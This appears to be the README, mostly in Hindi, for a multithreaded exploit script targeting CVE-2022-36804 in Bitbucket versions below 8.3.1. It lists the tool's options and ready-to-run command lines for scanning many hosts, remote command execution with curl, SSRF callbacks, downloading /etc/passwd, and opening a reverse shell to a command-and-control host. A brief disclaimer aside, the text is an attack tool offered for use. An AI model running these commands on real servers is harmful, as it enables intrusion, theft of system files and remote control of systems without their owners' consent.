
मल्टीथ्रेडेड एक्सप्लॉइट स्क्रिप्ट CVE-2022-36804 के लिए जो BitBucket संस्करण <8.3.1 को प्रभावित करती है।
CVE-2022-36804 से प्रभावित (अधिकांश) BitBucket संस्करणों <8.3.1 के लिए मल्टीथ्रेडेड एक्सप्लॉइट स्क्रिप्ट पूरी एडवाइज़री यहाँ देखें https://jira.atlassian.com/browse/BSERV-13438
खोज का सारा श्रेय TheGrandPew को जाता है
स्क्रिप्ट bitbucket इंस्टेंस पर स्थित सार्वजनिक रिपॉजिटरी का स्वचालित रूप से पता लगाएगी और फिर जाँच करने या भेद्यता का शोषण करने के लिए एक यादृच्छिक रिपॉजिटरी का चयन करेगी। यदि कोई सार्वजनिक रिपॉजिटरी नहीं हैं, तो ज्ञात कमजोर इंस्टेंस का शोषण करने के लिए एक मान्य 'BITBUCKETSESSIONID' कुकी आवश्यक है।
PoC को कई इनपुट होस्ट लेने और कमजोर होस्ट को stdout पर पाइप करने के लिए डिज़ाइन किया गया था, ताकि परिणामों को अन्य टूल द्वारा संसाधित किए जाने हेतु पाइप किया जा सके।
दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग न करें।
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
[--skip-check] [-t THREADS] [-v]
repos [repos ...]
CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1
optional arguments:
-h, --help show this help message and exit
required arguments:
repos Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on
optional arguments:
--auth-cookie AUTH_COOKIE
Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
--proxy PROXY HTTP Proxy: <http/https>://<ip>:<port>
-e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
Exploit to perform
--cmd CMD Command to execute for the 'rce' exploit (curl http://example.com)
--knary KNARY Knary to respond too via DNS for the 'ssrf' exploit
--server-file SERVER_FILE
Server file to download for the 'download' exploit (/etc/passwd)
--host HOST Hostname or IP address of c2 for the 'rev_shell' exploit
--port PORT Port of the c2 for the 'rev_shell' exploit
--skip-check Skip vulnerability checking stage
-t THREADS, --threads THREADS
Worker Threads
-v, --verbose Increase output verbosity level
एकल होस्ट
CVE-2022-36804.py http://bitbucket.local:7990/एकाधिक होस्ट तथा कमजोर होस्ट और शोषित रिपॉजिटरी को फ़ाइल में पाइप करना
CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts
CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/
निर्दिष्ट knary को DNS अनुरोध भेजें
CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/
लक्ष्य फ़ाइल
/etc/passwdके साथ एक रिपॉजिटरी डाउनलोड करें, यह संपीड़ित रिपॉजिटरी को एक यादृच्छिक फ़ाइल नाम में सहेजेगा।
CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/
CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/